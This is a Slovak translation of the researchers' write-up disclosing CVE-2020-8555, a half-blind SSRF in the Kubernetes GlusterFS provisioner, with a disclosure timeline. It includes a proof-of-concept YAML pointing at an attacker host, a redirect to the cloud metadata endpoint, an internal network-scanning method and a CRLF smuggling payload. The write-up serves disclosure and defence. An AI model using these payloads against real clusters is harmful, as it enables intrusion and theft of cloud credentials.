Keď nejde len o zraniteľnosť v Kubernetes…

Pozn. prekl.: autori tohto článku podrobne hovoria o tom, ako sa im podarilo objaviť zraniteľnosť CVE-2020–8555 v Kubernetes. Hoci pôvodne nevyzerala veľmi nebezpečne, v kombinácii s inými faktormi sa jej kritickosť u niektorých poskytovateľov cloudu prejavila ako maximálna. Za vykonanú prácu odborníkov bolo štedro odmenených niekoľko organizácií.

Keď nejde len o zraniteľnosť v Kubernetes…

Kto sme

Sme dvaja francúzski bezpečnostní výskumníci, ktorí spoločne objavili zraniteľnosť v Kubernetes. Voláme sa Brice Augras a Christophe Hauquiert, ale na mnohých platformách Bug Bounty sme známi ako Reeverzax a Hach.

Čo sa stalo?

Tento článok je naším spôsobom, ako povedať, ako sa bežný výskumný projekt nečakane zmenil na jedno z najzaujímavejších dobrodružstiev v živote lovcov na bugy (aspoň zatiaľ).

Ako už pravdepodobne viete, lovci na bugy majú niekoľko pozoruhodných vlastností:

  • žijú na pizzách a pive;
  • pracujú, keď ostatní spia.

Nie sme výnimkou z týchto pravidiel: zvyčajne sa stretávame cez víkendy a trávime bezsenné hackerské noci. Ale jedna z takýchto nocí sa skončila veľmi neobvykle.

Pôvodne sme sa mali stretnúť, aby sme prediskutovali účasť na CTF na druhý deň. Počas rozhovoru o bezpečnosti Kubernetes v spravovanej servisnej oblasti sme si spomenuli na starý nápad SSRF (Server-Side Request Forgery) a rozhodli sme sa vyskúšať ho ako útokový scénar.

O 11 večer sme sa pustili do výskumu a išli sme spať skoro ráno, veľmi spokojní s výsledkami. Vďaka týmto výskumom sme narazili na program MSRC Bug Bounty a vymysleli exploit na eskaláciu privilégií.

Ubehlo niekoľko týždňov/mois a náš nečakaný výsledok umožnil získať jednu z najvyšších odmien v histórii Azure Cloud Bug Bounty — okrem tej, ktorú sme získali od Kubernetes!

Na základe nášho výskumného projektu zverejnil výbor Kubernetes Product Security Committee CVE-2020–8555.

Teraz by sme chceli čo najviac rozšíriť informácie o nájdenej zraniteľnosti. Dúfame, že oceníte nález a zdieľate technické podrobnosti s ďalšími členmi infosec komunity!

Takže, tu je náš príbeh…

Kontext

Aby sme čo najpresnejšie preniesli zmysel toho, čo sa stalo, poďme sa najprv pozrieť na to, ako Kubernetes funguje v prostredí spravovanej služby v oblaku.

Keď vytvoríte inštanciu klastra Kubernetes v takomto prostredí, obvykle sa o prácu riadiacej vrstvy stará poskytovateľ cloudových služieb:

Keď nejde len o zraniteľnosť v Kubernetes…
Riadiaca vrstva sa nachádza na okraji cloudového poskytovateľa, zatiaľ čo uzly Kubernetes sú na okraji klienta.

Na dynamické priraďovanie objemov sa používa mechanizmus ich dynamického poskytovania z externého úložného backendu a priraďovania k PVC (persistent volume claim, teda požiadavke na objem).

Takže po vytvorení PVC a jeho priradení k StorageClass v klastri K8s preberá ďalšie akcie týkajúce sa poskytovania objemu kube/cloud controller manager (jeho presný názov sa líši podľa verzie). (Pozn. prekl.: O CCM na príklade jeho implementácie pre jedného z poskytovateľov cloudových služieb sme už písali. tu.)

Existuje niekoľko druhov provisionerov podporovaných Kubernetes: väčšina z nich je zahrnutá v jadre orchestrátora,a ostatné sú spravované ďalšími provisionermi, ktoré sú umiestnené v pádoch v klastri.

Vo svojom výskume sme sa zamerali na vnútorný mechanizmus poskytovania objemov, ktorý je znázornený nižšie:

Keď nejde len o zraniteľnosť v Kubernetes…
Dynamické poskytovanie objemov s použitím vstavaného provisionera Kubernetes.

Stručne povedané, keď je Kubernetes nasadený v spravovanom prostredí, za činnosť controller managera zodpovedá poskytovateľ cloudových služieb, ale požiadavka na vytvorenie objemu (číslo 3 na vyššie uvedenom diagrame) opúšťa hranice vnútornej siete cloudového poskytovateľa. A tu sa situácia stáva skutočne zaujímavou!

Scenár útoku.

V tejto časti vám ukážeme, ako sme využili vyššie spomenutý pracovný postup a získali prístup k vnútorným zdrojom poskytovateľa cloudových služieb. Okrem toho ukážeme, ako je možné vykonávať určité akcie — napríklad získať vnútorné prihlasovacie údaje alebo vykonať eskaláciu privilégií.

Jedna jednoduchá manipulácia (v tomto prípade ide o Service Side Request Forgery) pomohla prekonať hranice klientského prostredia v klastroch rôznych poskytovateľov služieb spravovaného K8s.

Vo svojich výskumoch sme sa zamerali na provisioner GlusterFS. Aj keď je ďalší postup popísaný v takomto kontexte, táto zraniteľnosť sa týka aj Quobyte, StorageOS a ScaleIO.

Keď nejde len o zraniteľnosť v Kubernetes…
Zneužitie mechanizmu dynamického poskytovania objemov

Počas analýzy triedy úložísk GlusterFS v klientoch na Golang sme si všimli, pri prvom HTTP dopyte (3), poslanom počas vytvárania objemu, na konci používateľského URL v parametri resturl pridané /volumes.

Tento nadbytočný cestu sme sa rozhodli eliminovať pridaním # do parametra resturl. Toto je prvá YAML konfigurácia, ktorú sme použili na testovanie „poloslepého“ SSRF zraniteľnosti (viac o semi-blind alebo half-blind SSRF sa dá prečítať napríklad, tu — pozn. prekl.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Potom pri diaľkovom ovládaní klasteru Kubernetes sme použili binárku kubectl. Zvyčajne cloudoví poskytovatelia (Azure, Google, AWS a pod.) umožňujú získať poverenia na ich použitie v tomto nástroji.

Vďaka tomu sa podarilo použiť náš „špeciálny“ súbor. Kube-controller-manager vykonal výsledný HTTP dopyt:

kubectl create -f sc-poc.yaml

Keď nejde len o zraniteľnosť v Kubernetes…
Odpoveď z pohľadu útočníka

Netrvalo dlho a tiež sme dokázali získať HTTP odpoveď od cieľového servera — cez príkazy describe pvc alebo get events v kubectl. A naozaj: tento Kubernetes ovládač je predvolene príliš slovný vo svojich varovaniach/chybových hláseniach...

Tu je príklad s odkazom na https://www.google.fr, nastaveným ako parameter resturl:

kubectl describe pvc poc-ssrf
# alebo môžete použiť kubectl get events

Keď nejde len o zraniteľnosť v Kubernetes…

V rámci takého prístupu sme boli obmedzení na dopyty typu HTTP POST a nedokázali sme získať obsah tela odpovede, ak sa vrátený kód bol 201. Preto sme sa rozhodli vykonať dodatočné výskumy a rozšírili tento scenár hackovania novými prístupmi.

Evolúcia našich výskumov

  • Pokročilý scenár č. 1: využitie 302 presmerovania z externého servera na zmenu HTTP metódy s cieľom získať flexibilnejší spôsob zhromažďovania interných údajov.
  • Pokročilý scenár č. 2: automatizácia skenovania LAN a zisťovania interných zdrojov.
  • Pokročilý scenár č. 3: využitie HTTP CRLF + pašovanie („contraband“ požiadaviek) na vytváranie prispôsobených HTTP požiadaviek a získavanie údajov extrahovaných z logov kube-controllera.

Technické špecifikácie

  • V štúdiách sa používal Azure Kubernetes Service (AKS) s Kubernetes verziou 1.12 v regióne Severná Európa.
  • Opísané vyššie scenáre sa vykonávali na posledných vydaniach Kubernetes, s výnimkou tretieho scenára, pretože potreboval Kubernetes zostavený s Golang verziou ≤ 1.12.
  • Externý server útočníka — https://attacker.com.

Pokročilý scenár č. 1: presmerovanie HTTP požiadavky POST na GET a získavanie citlivých údajov

Pôvodný spôsob bol vylepšený konfiguráciou servera útočníka na vrátenie 302 HTTP Retcode, aby sa konvertovala požiadavka POST na požiadavku GET (krok 4 na schéme):

Keď nejde len o zraniteľnosť v Kubernetes…

Prvá požiadavka (3), vychádzajúca od klienta GlusterFS (Controller Manager), má typ POST. Po vykonaní nasledujúcich krokov sme ho mohli zmeniť na GET:

  • Ako parameter resturl v StorageClass sa uvádza http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php odpovedá so stavovým kódom 302 HTTP s nasledujúcim Location Headerom: http://169.254.169.254. Môže to byť akýkoľvek iný interný zdroj — v tomto prípade sa redirect-odkaz používa výlučne ako príklad.
  • Predvolene knižnica net/http Golang presmerováva požiadavku a konvertuje POST na GET so 302. stavovým kódom, pričom na cieľový zdroj prichádza HTTP požiadavka GET.

Aby ste si prečítali telo HTTP odpovede, musíte vykonať describe objekt PVC:

kubectl describe pvc xxx

Tu je príklad HTTP odpovede vo formáte JSON, ktorú sa nám podarilo získať:

Keď nejde len o zraniteľnosť v Kubernetes…

Možnosti zistenej zraniteľnosti v tom čase boli obmedzené kvôli nasledujúcim faktorom:

  • Nemožnosť vložiť HTTP hlavičky do odchádzajúcej požiadavky.
  • Nemožnosť vykonávať POST požiadavku s parametrami v tele (takto je pohodlné žiadať hodnotu kľúča od inštancie etcd, ktorá beží na 2379 porte, ak sa používa nezabezpečený HTTP).
  • Nemožnosť získať obsah tela odpovede, keď bol stavový kód 200 a odpoveď nemala JSON Content-Type.

Pokročilý scenár č. 2: skenovanie lokálnej siete

Táto metóda half-blind SSRF sa potom používala na skenovanie vnútornej siete poskytovateľa cloudových služieb a prieskum rôznych počúvajúcich služieb (inštancia Metadata, Kubelet, etcd atď.) na základe odpovedí kube controllera.

Keď nejde len o zraniteľnosť v Kubernetes…

Najprv boli identifikované štandardné počúvacie porty komponentov Kubernetes (8443, 10250, 10251 atď.) a potom bolo potrebné automatizovať proces skenovania.

Keďže sme zistili, že tento spôsob skenovania zdrojov je veľmi špecifický a nekompatibilný s klasickými skenerami a nástrojmi SSRF, rozhodli sme sa vytvoriť vlastné worker’y v bash skripte, ktoré automatizujú celý proces.

Napríklad, aby sme rýchlejšie preeskalovali rozsah 172.16.0.0/12 vnútornej siete, spustili sme súčasne 15 worker’ov. Uvedený IP rozsah bol zvolený iba ako príklad a môže byť zmenený na IP rozsah konkrétneho poskytovateľa služieb.

Na skenovanie jedného IP adresy a jedného portu je potrebné vykonať nasledujúce kroky:

  • odstrániť overený StorageClass z predchádzajúceho času;
  • odstrániť predchádzajúci overený Persistent Volume Claim;
  • zmeniť hodnoty IP a Port v sc.yaml;
  • vytvoriť StorageClass s novým IP a portom;
  • vytvoriť nový PVC;
  • získať výsledky skenovania pomocou príkazu describe pre PVC.

Pokročilý scenár č. 3: injekcia CRLF + smuggling HTTP v 'starých' verziách klastru Kubernetes

Ak poskytovateľ navyše ponúkal klientom staré verzie klastru K8s a otvoril im prístup k logom kube-controller-manager’a, efekt bol ešte výraznejší.

Útočníkovi je naozaj oveľa pohodlnejšie meniť podľa vlastného uváženia HTTP požiadavky určené na získanie úplnej HTTP odpovede.

Keď nejde len o zraniteľnosť v Kubernetes…

Na realizáciu tohto posledného scenára museli byť splnené nasledujúce podmienky:

  • Používateľ musí mať prístup k logom kube-controller-manager (ako napríklad v Azure LogInsights).
  • Klast Kubernetes musí používať verziu Golang nižšiu ako 1.12.

Nasadili sme lokálne prostredie, ktoré simuluje výmenu dát medzi Go klientom GlusterFS a falošným cieľovým serverom (pre zatiaľ sa zdržujeme zverejnenia PoC).

Bola objavená zraniteľnosť, ktorá sa týka verzií Golang nižších ako 1.12 a umožňovala hackerom vykonávať útoky typu HTTP smuggling/CRLF.

Spojením vyššie uvedeného half-blind SSRF spolu s touto, sme mohli posielať požiadavky podľa vlastného výberu, vrátane výmeny hlavičiek, metódy HTTP, parametrov a dát, ktoré kube-controller-manager potom spracoval.

Tu je príklad fungujúcej 'návnady' v parametri resturl StorageClass’a, ktorá realizuje podobný scenár útoku:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

V dôsledku toho vzniká chyba unsolicited response, správa, ktorá sa zapisuje do logov kontroléra. Vďaka predvolenej „podrobnosti“ sa tam uchováva aj obsah odpovedajúcej HTTP správy.

Keď nejde len o zraniteľnosť v Kubernetes…

Toto bola naša najúspešnejšia „návnada“ v rámci proof of concept.

Použitím takého prístupu sme dokázali vykonať niektoré z nasledujúcich útokov v klastri rôznych poskytovateľov spravovaných k8s: eskalácia oprávnení získaním poverení na metadata inštanciách, DoS majstra prostredníctvom (nešifrovaných) HTTP požiadaviek na majstrovských inštanciách etcd a pod.

Dôsledky

V oficiálnom vyhlásení Kubernetes sa k námi objavenej zraniteľnosti SSRF pridelil hodnotenie CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ak sa zameriame len na zraniteľnosť súvisiacu s perifériou Kubernetes, integračný vektor (integrity vector) sa posudzuje ako None.

Avšak hodnotenie možných následkov v kontexte spravovaného služobného prostredia (a to bola najzaujímavejšia časť našej štúdie!) nás povzbudilo na prekvalifikovanie zraniteľnosti na hodnotenie Critical CVSS 10/10 pre mnohých distributorov.

Nižšie nájdete ďalšie informácie, ktoré pomôžu pochopiť, akými faktormi sme sa riadili pri hodnotení možných následkov v cloudových prostrediach:

Integrita

  • Diaľkové vykonávanie príkazov pomocou získaných interných poverení.
  • Reprodukcia vyššie opísaného scenára metódou IDOR (Insecure Direct Object Reference, t.j. nezabezpečenými priamymi odkazmi na objekty) s inými zdrojmi zistenými v lokálnej sieti.

Ochrana súkromia

  • Útok typu Lateral Movement vďaka krádeži cloudových poverení (napríklad metadata API).
  • Zhromažďovanie informácií pomocou skenovania lokálnej siete (identifikácia verzie SSH, verzie HTTP servera, …).
  • Zhromažďovanie informácií o inštanciách a infraštruktúre dotazovaním interných API, ako sú metadata API (http://169.254.169.254, …).
  • Krádež údajov zákazníkov pomocou cloudových poverení.

Dostupnosť

Všetky scenáre aplikácie exploitov spojené s integračnými vektormi integrity (integrita), môžu byť použité na deštruktívne akcie a viesť k tomu, že majstrovské inštancie z klientskej periférie (alebo akejkoľvek inej) budú nedostupné.

Keďže sme sa nachádzali v spravovanej K8s prostredí a posudzovali sme vplyv na integritu, je možné si predstaviť množstvo scénarov, ktoré by mohli ovplyvniť dostupnosť. Ako doplnkové príklady môžeme uviesť poškodenie databázy etcd alebo vykonanie kritického API volania k Kubernetes.

Chronológia

  • 6. decembra 2019: odoslanie hlásenia o zistenej zraniteľnosti do MSRC Bug Bounty.
  • 3. januára 2020: tretia strana informovala vývojárov Kubernetes, že pracujeme na probléme v oblasti bezpečnosti. Požiadali ich, aby považovali SSRF za vnútornú zraniteľnosť (in-core). Potom sme predložili celkovú správu s technickými podrobnosťami o zdroji problému.
  • 15. januára 2020: poskytli sme vývojárom Kubernetes technické a celkové správy na ich požiadanie (cez platformu HackerOne).
  • 15. januára 2020: vývojári Kubernetes nás informovali, že half-blind SSRF + CRLF injection pre predchádzajúce verzie sa považuje za vnútornú zraniteľnosť. Ihneď sme prestali analyzovať okraje iných poskytovateľov služieb: primárnou príčinou sa teraz zaoberal tím K8s.
  • 15. januára 2020: cez HackerOne sme dostali odmenu od MSRC.
  • 16. januára 2020: Kubernetes PSC (Product Security Committee) uznal zraniteľnosť a požiadal nás, aby sme ju udržali v tajnosti do polovice marca kvôli veľkému počtu potenciálnych obetí.
  • 11. februára 2020: získali sme odmenu od Google VRP.
  • 4. marca 2020: cez HackerOne sme dostali odmenu od Kubernetes.
  • 15. marca 2020: pôvodne naplánované verejné odhalenie bolo odložené kvôli situácii s COVID-19.
  • 1. júna 2020: spoločné vyhlásenie Kubernetes + Microsoft o zraniteľnosti.

TL;DR

  • Pijeme pivo a jeme pizzu 🙂
  • Objavili sme vnútornú zraniteľnosť v Kubernetes, hoci sme to vôbec nemali v pláne.
  • Vykonali sme dodatočnú analýzu v clustre rôznych poskytovateľov cloudových služieb a dokázali sme zvýšiť škody spôsobené zraniteľnosťou, aby sme získali ďalšie skvelé bonusy.
  • V tomto článku nájdete mnoho technických podrobností. Radi ich s vami preberieme (Twitter: @ReeverZax & @__hach_).
  • Ukázalo sa, že všetky formality a zostavovanie správ zaberajú oveľa viac času, než sa očakávalo.

Odkazy

P.S. od prekladateľa

Prečítajte si tiež na našom blogu:

Zdroj: habr.com

Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Kúpte si spoľahlivý hosting pre webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster